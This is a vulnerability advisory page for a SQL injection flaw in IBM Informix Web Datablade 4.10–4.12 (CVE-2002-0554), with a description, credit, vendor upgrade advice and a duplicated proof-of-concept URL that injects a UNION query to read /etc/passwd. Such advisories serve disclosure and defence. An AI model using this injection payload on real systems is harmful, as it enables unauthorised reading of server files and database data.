IBM Informix Web Datablade Page Request SQL Injection Vulnerability
BID:4496
Info
IBM Informix Web Datablade Page Request SQL Injection Vulnerability
| Bugtraq ID: | 4496 |
| Class: | Input Validation Error |
| CVE: |
CVE-2002-0554 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 11 2002 12:00AM |
| Updated: | Jul 11 2009 11:56AM |
| Credit: | Discovered by Simon Lodal <[email protected]>. |
| Vulnerable: |
IBM Informix Web Datablade 4.12 IBM Informix Web Datablade 4.11 IBM Informix Web Datablade 4.10 |
| Not Vulnerable: |
IBM Informix Web Datablade 4.12 UC2 IBM Informix Web Datablade 4.12 UC2 |
Discussion
IBM Informix Web Datablade Page Request SQL Injection Vulnerability
Informix is an enterprise database distributed and maintained by IBM. The Web Datablade Module for Informix SQL, dynamically generates HTML content based on Database data. Web Datablade is available for Apache, IIS, and Netscape web servers, and a generic CGI version is provided for alternative servers. It will execute under Windows NT, Linux and many Unix-like systems.
A vulnerability has been reported in some versions of Web Datablade. Reportedly, it is possible to inject SQL commands into any page request processed by Web Datablade. This may result in the disclosure of sensitive information or increased access to the database.
There have been reports that a similar issue exists within the HTTP Basic Authentication process used by Web Datablade, which also submits queries to the database. However, detailed exploitation information is not available for this case.
Informix is an enterprise database distributed and maintained by IBM. The Web Datablade Module for Informix SQL, dynamically generates HTML content based on Database data. Web Datablade is available for Apache, IIS, and Netscape web servers, and a generic CGI version is provided for alternative servers. It will execute under Windows NT, Linux and many Unix-like systems.
A vulnerability has been reported in some versions of Web Datablade. Reportedly, it is possible to inject SQL commands into any page request processed by Web Datablade. This may result in the disclosure of sensitive information or increased access to the database.
There have been reports that a similar issue exists within the HTTP Basic Authentication process used by Web Datablade, which also submits queries to the database. However, detailed exploitation information is not available for this case.
Exploit / POC
IBM Informix Web Datablade Page Request SQL Injection Vulnerability
A number of exploits are provided in the advisory released by Simon Lodal <[email protected]>, including the following which will display /etc/passwd:
http://victim.com/site/' UNION ALL SELECT FileToClob('/etc/passwd','server')::html,0 FROM sysusers WHERE username = USER --/.html
A number of exploits are provided in the advisory released by Simon Lodal <[email protected]>, including the following which will display /etc/passwd:
http://victim.com/site/' UNION ALL SELECT FileToClob('/etc/passwd','server')::html,0 FROM sysusers WHERE username = USER --/.html
Solution / Fix
IBM Informix Web Datablade Page Request SQL Injection Vulnerability
Solution:
The vendor strongly recommends upgrading to version 4.13.UC2 of IBM Informix Web Datablade which does not have this vulnerability. This product will be generally available very soon.
For more information about the availability of the new version of IBM Informix Web Datablade, the vendor recommends contacting IBM Informix Technical Support or a local sales office.
Solution:
The vendor strongly recommends upgrading to version 4.13.UC2 of IBM Informix Web Datablade which does not have this vulnerability. This product will be generally available very soon.
For more information about the availability of the new version of IBM Informix Web Datablade, the vendor recommends contacting IBM Informix Technical Support or a local sales office.
References
IBM Informix Web Datablade Page Request SQL Injection Vulnerability
References:
References: